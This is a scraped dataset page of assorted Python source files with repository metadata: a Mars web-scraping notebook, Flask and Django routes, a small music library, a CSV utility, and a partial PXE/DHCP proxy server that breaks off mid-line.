xszheng2020/the_stack_dedup_python · Datasets at Hugging Face

2b32885657370cb4b8b7d916d4f131943c631e50

421

py

Python

fexr/fexr.py

fexrapis/pyfexr

2273f29c9a828722d546e9f7a6cbbc6f50987786

[ "MIT" ]

null

fexr/fexr.py

fexrapis/pyfexr

2273f29c9a828722d546e9f7a6cbbc6f50987786

[ "MIT" ]

null

fexr/fexr.py

fexrapis/pyfexr

2273f29c9a828722d546e9f7a6cbbc6f50987786

[ "MIT" ]

null

import requests import json def initialize_app(config): return Fexr(config) class Fexr: """interface""" def __init__(self, config): self.botEmail = config["botEmail"] self.botPassword = config["botPassword"] self.usageId = config["usageId"] self.config = None self.requests = requests.Session() def core(self): return Core(self.api_key, self.requests)

21.05

48

0.638955

47

421

5.595745

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0.076046

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0.244656

421

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null

0

null

0

1

0

1

0

1

0

4

2b32a48c0617127fad513107b6b55bc15c45960a

15,313

py

Python

.ipynb_checkpoints/scrape_mars-checkpoint.py

re-ga-na/webscrapingchallenge

04ade4080e1f317768ce6fff4dfadd5c7e23e387

[ "ADSL" ]

null

.ipynb_checkpoints/scrape_mars-checkpoint.py

re-ga-na/webscrapingchallenge

04ade4080e1f317768ce6fff4dfadd5c7e23e387

[ "ADSL" ]

null

.ipynb_checkpoints/scrape_mars-checkpoint.py

re-ga-na/webscrapingchallenge

04ade4080e1f317768ce6fff4dfadd5c7e23e387

[ "ADSL" ]

null

{ "cells": [ { "cell_type": "code", "execution_count": 211, "metadata": {}, "outputs": [], "source": [ "import pandas as pd\n", "import requests\n", "\n", "from splinter import Browser\n", "from selenium import webdriver\n", "from bs4 import BeautifulSoup" ] }, { "cell_type": "code", "execution_count": 212, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "/usr/local/bin/chromedriver\r\n" ] } ], "source": [ "!which chromedriver" ] }, { "cell_type": "code", "execution_count": 213, "metadata": {}, "outputs": [], "source": [ "#set executable path\n", "\n", "executable_path = {'executable_path': '/usr/local/bin/chromedriver'}\n", "browser = Browser('chrome', **executable_path, headless=False)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# nasa mars news site\n" ] }, { "cell_type": "code", "execution_count": 214, "metadata": {}, "outputs": [], "source": [ "news_url = \"https://mars.nasa.gov/news/\"\n", "browser.visit(news_url)" ] }, { "cell_type": "code", "execution_count": 215, "metadata": {}, "outputs": [], "source": [ "#parse with BeautifulSoup\n", "html = browser.html\n", "soup = BeautifulSoup(html, \"html.parser\")" ] }, { "cell_type": "code", "execution_count": 216, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "NASA's Perseverance Mars Rover Gets Its Wheels and Air Brakes\n", "After the rover was shipped from JPL to Kennedy Space Center, the team is getting closer to finalizing the spacecraft for launch later this summer.\n" ] } ], "source": [ "#extract article title and text\n", "article = soup.find('div', class_='list_text')\n", "news_title = article.find('div', class_='content_title').text\n", "news_p = article.find('div', class_='article_teaser_body').text\n", "\n", "print(news_title)\n", "print(news_p)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# jpl mars space images" ] }, { "cell_type": "code", "execution_count": 217, "metadata": {}, "outputs": [], "source": [ "images_url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n", "browser.visit(images_url)" ] }, { "cell_type": "code", "execution_count": 218, "metadata": {}, "outputs": [], "source": [ "#expand full size image\n", "fullsize = browser.find_by_id(\"full_image\")\n", "fullsize.click()\n", "\n", "#expand more info\n", "browser.is_element_present_by_text(\"more info\", wait_time=1)\n", "moreinfo = browser.find_link_by_partial_text(\"more info\")\n", "moreinfo.click()" ] }, { "cell_type": "code", "execution_count": 219, "metadata": {}, "outputs": [], "source": [ "#parse with BeautifulSoup\n", "\n", "html_image = browser.html\n", "soup = BeautifulSoup(html_image, 'html.parser')" ] }, { "cell_type": "code", "execution_count": 220, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "'/spaceimages/images/largesize/PIA19083_hires.jpg'" ] }, "execution_count": 220, "metadata": {}, "output_type": "execute_result" } ], "source": [ "featured_image_url = soup.select_one(\"figure.lede a img\").get(\"src\")\n", "featured_image_url" ] }, { "cell_type": "code", "execution_count": 221, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "https://www.jpl.nasa.govhttp://astropedia.astrogeology.usgs.gov/download/Mars/Viking/valles_marineris_enhanced.tif/full.jpg\n" ] } ], "source": [ "#combine base url with image url\n", "featured_image_url = f\"https://www.jpl.nasa.gov{img_url}\"\n", "print(featured_image_url)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# mars weather" ] }, { "cell_type": "code", "execution_count": 222, "metadata": {}, "outputs": [], "source": [ "weather_url = 'https://twitter.com/marswxreport?lang=en'\n", "browser.visit(weather_url)" ] }, { "cell_type": "code", "execution_count": 223, "metadata": {}, "outputs": [], "source": [ "#use requests library to get tweet\n", "response = requests.get(weather_url)\n", "soup = BeautifulSoup(response.text, 'lxml')" ] }, { "cell_type": "code", "execution_count": 224, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "InSight sol 480 (2020-04-02) low -93.0ºC (-135.5ºF) high -6.7ºC (19.9ºF)\n", "winds from the SW at 5.8 m/s (13.1 mph) gusting to 17.2 m/s (38.5 mph)\n", "pressure at 6.50 hPapic.twitter.com/8oUTHBmcXp\n" ] } ], "source": [ "mars_weather = soup.find('p', class_='TweetTextSize TweetTextSize--normal js-tweet-text tweet-text').text.strip()\n", "print(mars_weather)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# mars facts" ] }, { "cell_type": "code", "execution_count": 225, "metadata": {}, "outputs": [], "source": [ "facts_url = \"https://space-facts.com/mars/\"\n", "browser.visit(facts_url)\n", "html_url = browser.html" ] }, { "cell_type": "code", "execution_count": 226, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>0</th>\n", " <th>1</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>Equatorial Diameter:</td>\n", " <td>6,792 km</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>Polar Diameter:</td>\n", " <td>6,752 km</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>Mass:</td>\n", " <td>6.39 × 10^23 kg (0.11 Earths)</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>Moons:</td>\n", " <td>2 (Phobos & Deimos)</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>Orbit Distance:</td>\n", " <td>227,943,824 km (1.38 AU)</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td>Orbit Period:</td>\n", " <td>687 days (1.9 years)</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td>Surface Temperature:</td>\n", " <td>-87 to -5 °C</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td>First Record:</td>\n", " <td>2nd millennium BC</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td>Recorded By:</td>\n", " <td>Egyptian astronomers</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " 0 1\n", "0 Equatorial Diameter: 6,792 km\n", "1 Polar Diameter: 6,752 km\n", "2 Mass: 6.39 × 10^23 kg (0.11 Earths)\n", "3 Moons: 2 (Phobos & Deimos)\n", "4 Orbit Distance: 227,943,824 km (1.38 AU)\n", "5 Orbit Period: 687 days (1.9 years)\n", "6 Surface Temperature: -87 to -5 °C\n", "7 First Record: 2nd millennium BC\n", "8 Recorded By: Egyptian astronomers" ] }, "execution_count": 226, "metadata": {}, "output_type": "execute_result" } ], "source": [ "#retieve first table\n", "mars_df = pd.read_html(facts_url)[0]\n", "mars_df\n" ] }, { "cell_type": "code", "execution_count": 227, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Value</th>\n", " </tr>\n", " <tr>\n", " <th>Description</th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>Equatorial Diameter:</th>\n", " <td>6,792 km</td>\n", " </tr>\n", " <tr>\n", " <th>Polar Diameter:</th>\n", " <td>6,752 km</td>\n", " </tr>\n", " <tr>\n", " <th>Mass:</th>\n", " <td>6.39 × 10^23 kg (0.11 Earths)</td>\n", " </tr>\n", " <tr>\n", " <th>Moons:</th>\n", " <td>2 (Phobos & Deimos)</td>\n", " </tr>\n", " <tr>\n", " <th>Orbit Distance:</th>\n", " <td>227,943,824 km (1.38 AU)</td>\n", " </tr>\n", " <tr>\n", " <th>Orbit Period:</th>\n", " <td>687 days (1.9 years)</td>\n", " </tr>\n", " <tr>\n", " <th>Surface Temperature:</th>\n", " <td>-87 to -5 °C</td>\n", " </tr>\n", " <tr>\n", " <th>First Record:</th>\n", " <td>2nd millennium BC</td>\n", " </tr>\n", " <tr>\n", " <th>Recorded By:</th>\n", " <td>Egyptian astronomers</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Value\n", "Description \n", "Equatorial Diameter: 6,792 km\n", "Polar Diameter: 6,752 km\n", "Mass: 6.39 × 10^23 kg (0.11 Earths)\n", "Moons: 2 (Phobos & Deimos)\n", "Orbit Distance: 227,943,824 km (1.38 AU)\n", "Orbit Period: 687 days (1.9 years)\n", "Surface Temperature: -87 to -5 °C\n", "First Record: 2nd millennium BC\n", "Recorded By: Egyptian astronomers" ] }, "execution_count": 227, "metadata": {}, "output_type": "execute_result" } ], "source": [ "#rename columns and set index\n", "mars_df.columns=[\"Description\", \"Value\"]\n", "mars_df.set_index(\"Description\", inplace=True)\n", "mars_df" ] }, { "cell_type": "code", "execution_count": 228, "metadata": {}, "outputs": [], "source": [ "#convert table to html string\n", "mars_df.to_html('table.html')\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# mars hemispheres" ] }, { "cell_type": "code", "execution_count": 229, "metadata": {}, "outputs": [], "source": [ "hemispheres_url = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\n", "browser.visit(hemispheres_url)\n", "html_hemispheres = browser.html" ] }, { "cell_type": "code", "execution_count": 230, "metadata": {}, "outputs": [], "source": [ "soup = BeautifulSoup(html_hemispheres, \"html.parser\")\n" ] }, { "cell_type": "code", "execution_count": 231, "metadata": {}, "outputs": [], "source": [ "#empty list for hemisphere image urls\n", "hemisphere_image_urls = []\n" ] }, { "cell_type": "code", "execution_count": 232, "metadata": {}, "outputs": [], "source": [ "results = soup.find(\"div\", class_ = \"results\" )\n", "\n", "images = results.find_all(\"div\", class_=\"item\")\n" ] }, { "cell_type": "code", "execution_count": 233, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[{'title': 'Cerberus Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/cerberus_enhanced.tif/full.jpg'}, {'title': 'Schiaparelli Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/schiaparelli_enhanced.tif/full.jpg'}, {'title': 'Syrtis Major Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/syrtis_major_enhanced.tif/full.jpg'}, {'title': 'Valles Marineris Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/valles_marineris_enhanced.tif/full.jpg'}]\n" ] } ], "source": [ "#looping through hemisphere images to extract urls abd titles\n", "\n", "for image in images:\n", " title = image.find(\"h3\").text\n", " title = title.replace(\"Enhanced\", \"\")\n", " endlink = image.find(\"a\")[\"href\"]\n", " img_url = \"https://astrogeology.usgs.gov/\" + endlink\n", " \n", " browser.visit(img_url)\n", " html_links = browser.html\n", " soup = BeautifulSoup(html_links, \"html.parser\")\n", " downloads = soup.find(\"div\", class_=\"downloads\")\n", " img_url = downloads.find(\"a\")[\"href\"]\n", " hemisphere_image_urls.append({\"title\": title, \"img_url\": img_url})\n", "\n", "print(hemisphere_image_urls)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.4" } }, "nbformat": 4, "nbformat_minor": 2 }

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2b349e7b7c259815a84ae590fa15ba7d1700f32b

2,339

py

Python

app/api/inventory_routes.py

jon-wehner/MyPantry

01f833b99d4318b4676abd542272dce61d0b8c61

[ "MIT" ]

9

2021-03-02T16:52:40.000Z

2021-03-03T16:51:46.000Z

app/api/inventory_routes.py

jon-wehner/PantryStock

01f833b99d4318b4676abd542272dce61d0b8c61

[ "MIT" ]

50

2021-03-12T16:04:49.000Z

2022-03-17T20:47:00.000Z

app/api/inventory_routes.py

jon-wehner/PantryStock

01f833b99d4318b4676abd542272dce61d0b8c61

[ "MIT" ]

null

from flask import Blueprint, request from app.models import UserItem, User, db from app.forms import InventoryItemForm from flask_login import login_required from app.utils import validation_errors_to_error_messages inventory_routes = Blueprint('inventory', __name__) # Get all of a user's Items @inventory_routes.route('/<int:user_id>') @login_required def user_inventory(user_id): user = User.query.get(user_id) if user: return {"inventory": user.inventory()} else: return {"errors": "User Not Found"} # Add an item to a user intentory @inventory_routes.route('/<int:user_id>', methods=['POST']) @login_required def add_item(user_id): user = User.query.get(user_id) form = InventoryItemForm() form['csrf_token'].data = request.cookies['csrf_token'] if form.validate_on_submit(): item_id = form.data['item_id'] measurement_id = form.data['measurement_id'] item = UserItem( item_id=form.data['item_id'], user_id=user_id, expiration_date=form.data['expiration_date'], quantity=form.data['quantity'], measurement_id=form.data['measurement_id'] ) db.session.add(item) if form.errors: return {"errors": validation_errors_to_error_messages(form.errors)} else: db.session.commit() return {"inventory": user.inventory()} @inventory_routes.route('/<int:user_id>/<int:item_id>', methods=['PUT', 'DELETE']) @login_required def edit_delete_item(user_id, item_id): user = User.query.get(user_id) item = UserItem.query.get(item_id) form = InventoryItemForm() if request.method == 'PUT': form['csrf_token'].data = request.cookies['csrf_token'] form['item_id'].data = item.item.id if form.validate_on_submit(): item.expiration_date = form.data['expiration_date'] print(item.expiration_date) item.quantity = form.data['quantity'] measurement_id = form.data['measurement_id'] db.session.add(item) if request.method == 'DELETE': db.session.delete(item) if form.errors: return {"errors": validation_errors_to_error_messages(form.errors)} else: db.session.commit() return {"inventory": user.inventory()}

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2b359813930ee57144554a0a7d67900329a97efb

1,208

py

Python

faeAuditor/audits/urls.py

opena11y/fae-auditor

ea9099b37b77ddc30092b0cdd962647c92b143a7

[ "Apache-2.0" ]

2

2018-02-28T19:03:28.000Z

2021-09-30T13:40:23.000Z

faeAuditor/audits/urls.py

opena11y/fae-auditor

ea9099b37b77ddc30092b0cdd962647c92b143a7

[ "Apache-2.0" ]

6

2020-02-11T21:53:58.000Z

2022-02-10T07:57:58.000Z

faeAuditor/audits/urls.py

opena11y/fae-auditor

ea9099b37b77ddc30092b0cdd962647c92b143a7

[ "Apache-2.0" ]

1

2019-12-05T06:05:20.000Z

""" Copyright 2014-2018 University of Illinois Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. file: audits/urls.py Author: Jon Gunderson """ # reports/urls.py from __future__ import absolute_import from django.conf.urls import url from .views import AuditsView from .views import AuditView from .views import RunView from .views import ProcessingView urlpatterns = [ url(r'^$', AuditsView.as_view(), name='audits'), url(r'^a/(?P<audit_slug>[\w-]+)/$', AuditView.as_view(), name='audit'), url(r'^run/(?P<audit_slug>[\w-]+)/$', RunView.as_view(), name='audit_run'), url(r'^processing/$', ProcessingView.as_view(), name='audit_processing') ]

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null

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2b37b39bc7440eb3efd9fb78397787d52e20da21

760

py

Python

src/doremi/__init__.py

jpivarski/doremi

0f8fb1fc8e9664b2e4b61fffc5382e41d8d624d6

[ "BSD-3-Clause" ]

1

2022-01-09T00:32:44.000Z

src/doremi/__init__.py

jpivarski/doremi

0f8fb1fc8e9664b2e4b61fffc5382e41d8d624d6

[ "BSD-3-Clause" ]

null

src/doremi/__init__.py

jpivarski/doremi

0f8fb1fc8e9664b2e4b61fffc5382e41d8d624d6

[ "BSD-3-Clause" ]

null

# BSD 3-Clause License; see https://github.com/jpivarski/doremi/blob/main/LICENSE from ._version import version as __version__ from typing import Optional import doremi.parsing import doremi.abstract import doremi.concrete def compose( source: str, scale: doremi.concrete.AnyScale = "C major", bpm: float = 120.0, scope: Optional[doremi.abstract.Scope] = None, ) -> doremi.concrete.Composition: scale = doremi.concrete.get_scale(scale) abstract_collection = doremi.abstract.abstracttree(source) num_beats, abstract_notes, scope = abstract_collection.evaluate(scope) return doremi.concrete.Composition( scale, bpm, num_beats, scope, abstract_collection, abstract_notes ) __all__ = ("__version__", "compose")

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null

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null

0

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2b39d94acac82237469a41ceac176d9288d8268a

522

py

Python

app/api/utility.py

yeniky/B_back

2b45b4dc77bc191cb250a9868eb9347d9072b905

[ "Apache-2.0" ]

null

app/api/utility.py

yeniky/B_back

2b45b4dc77bc191cb250a9868eb9347d9072b905

[ "Apache-2.0" ]

null

app/api/utility.py

yeniky/B_back

2b45b4dc77bc191cb250a9868eb9347d9072b905

[ "Apache-2.0" ]

null

import flask_excel as excel from app.api import bp from flask import request from app.utils.user_auth import token_auth from app.models import Alert, InactivityAlert from sqlalchemy.orm import with_polymorphic from dateutil import parser @bp.route('/utility/csv', methods=['POST']) @token_auth.login_required def get_csv(): data = request.get_json() return create_csv(data['table'], data['title']) def create_csv(data, title): return excel.make_response_from_array( data, "csv", file_name=title)

23.727273

51

0.758621

78

522

4.897436

0.538462

0.054974

0.068063

0

0.141762

522

21

52

24.857143

0.852679

0

0.055877

0

1

0.133333

false

0

0.466667

0.066667

0.733333

0

null

0

null

0

1

0

1

2b3b7c8eae4ae649f3b1f6cafa46b3e7c9a4ac45

20,937

py

Python

lophi-net-services/lophinet/proxydhcpd/dhcpd.py

patriotemeritus/LO-PHI

8f92c4efb94061cb08b7e9b0ff96346565c12653

[ "BSD-3-Clause" ]

28

2016-02-26T00:54:16.000Z

2022-02-24T12:21:15.000Z

lophi-net-services/lophinet/proxydhcpd/dhcpd.py

patriotemeritus/LO-PHI

8f92c4efb94061cb08b7e9b0ff96346565c12653

[ "BSD-3-Clause" ]

2

2016-03-15T21:49:09.000Z

2016-07-12T22:11:39.000Z

lophi-net-services/lophinet/proxydhcpd/dhcpd.py

patriotemeritus/LO-PHI

8f92c4efb94061cb08b7e9b0ff96346565c12653

[ "BSD-3-Clause" ]

9

2016-06-08T14:42:28.000Z

2021-11-11T03:51:34.000Z

""" This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA """ import logging import logging.handlers import sys import traceback import multiprocessing from proxyconfig import parse_config from dhcplib.dhcp_network import * from dhcplib.dhcp_packet import * class DhcpServerBase(DhcpNetwork,multiprocessing.Process) : def __init__(self, listen_address="0.0.0.0", client_listen_port=68, server_listen_port=67) : DhcpNetwork.__init__(self,listen_address,server_listen_port,client_listen_port) self.logger = logging.getLogger('proxydhcp') #self.logger.setLevel(logging.INFO) # self.logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s %(levelname)s ProxyDHCP: %(message)s') self.consoleLog = logging.StreamHandler() self.consoleLog.setFormatter(formatter) self.logger.addHandler(self.consoleLog) if sys.platform == 'win32': self.fileLog = logging.FileHandler('proxy.log') self.fileLog.setFormatter(formatter) self.logger.addHandler(self.fileLog) else: if sys.platform == 'darwin': self.syslogLog = logging.handlers.SysLogHandler("/var/run/syslog") else: self.syslogLog = logging.handlers.SysLogHandler("/dev/log") self.syslogLog.setFormatter(formatter) self.syslogLog.setLevel(logging.INFO) self.logger.addHandler(self.syslogLog) try : self.dhcp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.dhcp_socket.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST,1) self.dhcp_socket_send = self.dhcp_socket if sys.platform == 'win32': self.dhcp_socket.bind((self.listen_address,self.listen_port)) else: # Linux and windows differ on the way they bind to broadcast sockets # ifname = net.get_dev_name(self.listen_address) # self.dhcp_socket.setsockopt(socket.SOL_SOCKET,IN.SO_BINDTODEVICE,ifname+'\0') # We need to to do a total hack and have one for sending, one for receiving. self.dhcp_socket_send = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) self.dhcp_socket_send.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST,1) self.dhcp_socket.bind(('',self.listen_port)) self.dhcp_socket_send.bind((self.listen_address,0)) except socket.error, msg : self.log('info',"Error creating socket for server: \n %s"%str(msg)) self.loop = True multiprocessing.Process.__init__(self) def run(self): while self.loop: try: self.GetNextDhcpPacket() except: traceback.print_exc() self.log('info','Service shutdown') def log(self,level,message): if level == 'info': self.logger.info(message) else: self.logger.debug(message) class DHCPD(DhcpServerBase): loop = True def __init__(self,configfile='proxy.ini',client_port=68,server_port=67, shared_acl=None, shared_map=None): self.client_port = int(client_port) self.server_port = int(server_port) self.config = parse_config(configfile) DhcpServerBase.__init__(self,self.config['proxy']["listen_address"],self.client_port,self.server_port) self.log('info',"Starting DHCP on ports client: %s, server: %s"%(self.client_port,self.server_port)) #ip_pool # start_ip should be something like [192.168.1.100] self.start_ip = map(int, self.config['network']["ip_start"].split(".")) self.pool_size = int(self.config['network']["pool_size"]) if self.start_ip[3] + self.pool_size >= 255: self.log('error', "Defined start ip address and pool size is too big for class C subnet") # Shared objects for access control self.acl = shared_acl self.mac_to_ip = shared_map # Keep track of what file each mac is booting self.mac_to_bootfile = {} def GetFreeIP(self): """ Returns free IP or None if full """ for i in xrange(self.pool_size): ip = self.start_ip ip[3] += i # ipkey should be something like [192,168,1,102] if ip not in self.mac_to_ip.values(): return ip # Ran out of IPs return None def HandleDhcpDiscover(self, packet): # don't even bother responding if we have run out of addresses mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress())) # proposed IP address prospective_ip = None # if this mac_addr already has an IP, just give it the same one if mac_addr in self.mac_to_ip: prospective_ip = self.mac_to_ip[mac_addr] else: # try to find a free IP prospective_ip = self.GetFreeIP() # if we couldn't get an IP, then throw an error if prospective_ip is None: self.log('error','No More IPs! Ignored DHCP Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) return else: self.mac_to_ip[mac_addr] = prospective_ip # Handle PXE request if packet.IsOption('vendor_class_identifier'): class_identifier = strlist(packet.GetOption('vendor_class_identifier')) if class_identifier.str()[0:9] == "PXEClient": responsepacket = DhcpPacket() responsepacket.CreateDhcpOfferPacketFrom(packet) # DO ACL check - don't respond for PXE (only) if not in ACL if mac_addr not in self.acl: self.log('info','UNAUTHORIZED PXE Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) self.log('info', 'Sending bad filename to skip PXE.') self.mac_to_bootfile[mac_addr] = "lophi_no_pxe_access" else: self.log('info', 'PXE Booting %s...'%":".join(map(self.fmtHex,packet.GetHardwareAddress())) ) # Only permit one boot # del self.acl[mac_addr] # self.logger.info("Deleting %s from acl."%mac_addr) self.mac_to_bootfile[mac_addr] = self.config['proxy']['filename'] responsepacket.SetMultipleOptions( { #'hlen': packet.GetOption("hlen"), #'htype': packet.GetOption("htype"), #'xid': packet.GetOption("xid"), #'flags': packet.GetOption("flags"), 'flags': [0,0], 'giaddr':[0,0,0,0], 'yiaddr':prospective_ip, 'ciaddr':[0,0,0,0], 'siaddr':self.config['tftp']["address"], 'file': map(ord, (self.mac_to_bootfile[mac_addr].ljust(128,"\0"))), 'sname': map(ord, "unknown.localdomain".ljust(64,"\0")) } ) #responsepacket.SetOption("vendor_class_identifier", map(ord, "PXEClient")) #if self.config['proxy']['vendor_specific_information']: # responsepacket.SetOption('vendor_specific_information', map(ord, self.config['proxy']['vendor_specific_information'])) responsepacket.SetOption("server_identifier",map(int, self.config['proxy']["listen_address"].split("."))) # 1 day responsepacket.SetOption("ip_address_lease_time",[0,1,81,128]) #responsepacket.SetOption("renewal_time_value",[0,255,255,255]) #responsepacket.SetOption("rebinding_time_value",[0,255,255,255]) #responsepacket.SetOption("bootfile_name", map(ord, (self.config['proxy']['filename'].ljust(128,"\0"))),) #responsepacket.SetOption("subnet_mask",[255,255,255,0]) responsepacket.SetOption("subnet_mask",map(int, self.config['network']['subnet_mask'].split("."))) #responsepacket.SetOption("broadcast_address",[192,168,1,255]) responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split("."))) #responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split("."))) self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port) self.log('info','******Responded to PXE Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) return # Handle normal DHCP self.log('debug','Noticed a non-boot DHCP Discover packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) self.log('debug','Responding with normal DHCP Offer packet to ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) responsepacket = DhcpPacket() responsepacket.CreateDhcpOfferPacketFrom(packet) responsepacket.SetMultipleOptions( { 'giaddr':[0,0,0,0], 'yiaddr':prospective_ip, 'ciaddr':[0,0,0,0], 'siaddr':map(int, self.config['proxy']["listen_address"].split(".")) } ) responsepacket.SetOption("server_identifier",map(int, self.config['proxy']["listen_address"].split("."))) responsepacket.SetOption("ip_address_lease_time",[0,0,0xe,0x10])#[0,255,255,255]) responsepacket.SetOption("renewal_time_value",[0,0,0x7,0x8]) responsepacket.SetOption("rebinding_time_value",[0,0,0xc,0x4e]) responsepacket.SetOption("subnet_mask", map(int, self.config['network']['subnet_mask'].split("."))) responsepacket.SetOption("broadcast_address", map(int, self.config['network']['broadcast'].split("."))) responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split("."))) responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split("."))) self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port) # self.SendDhcpPacketTo(responsepacket, ".".join([str(x) for x in prospective_ip]) , self.client_port) def HandleDhcpRequest(self, packet): # don't even bother responding if we have run out of addresses mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress())) # proposed IP address prospective_ip = None # if this mac_addr already has an IP, just give it the same one if mac_addr in self.mac_to_ip: prospective_ip = self.mac_to_ip[mac_addr] else: # try to find a free IP prospective_ip = self.GetFreeIP() # if we couldn't get an IP, then throw an error if prospective_ip is None: self.log('error','No More IPs! Ignored DHCP Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) return else: self.mac_to_ip[mac_addr] = prospective_ip # Handle PXE request if packet.IsOption('vendor_class_identifier'): class_identifier = strlist(packet.GetOption('vendor_class_identifier')) if class_identifier.str()[0:9] == "PXEClient": # Remove the ACL at this point in the protocol if mac_addr in self.acl: del self.acl[mac_addr] self.logger.info("Deleting %s from acl."%mac_addr) responsepacket = DhcpPacket() responsepacket.CreateDhcpAckPacketFrom(packet) responsepacket.SetMultipleOptions( { #'hlen': packet.GetOption("hlen"), #'htype': packet.GetOption("htype"), #'xid': packet.GetOption("xid"), 'flags': [0,0], 'giaddr': packet.GetOption("giaddr"), 'yiaddr': prospective_ip, 'siaddr': self.config['tftp']['address'], 'vendor_class_identifier': map(ord, "PXEClient"), 'file': map(ord, (self.mac_to_bootfile[mac_addr].ljust(128,"\0"))), 'sname': map(ord, "unknown.localdomain".ljust(64,"\0")) } ) responsepacket.SetOption("server_identifier", map(int, self.config['proxy']["listen_address"].split("."))) # 1 day responsepacket.SetOption("ip_address_lease_time",[0,1,81,128]) responsepacket.SetOption("subnet_mask", map(int, self.config['network']["subnet_mask"].split("."))) #responsepacket.SetOption("broadcast_address",[192,168,1,255]) responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split("."))) #responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split("."))) self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port) self.log('info','****Responded to PXE Request (port 67 ) from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) return # Handle Normal DHCP self.log('debug','Noticed a non PXE DHCP Request (port 67) packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) self.log('debug','Responding with normal DHCP Ack packet to ' + 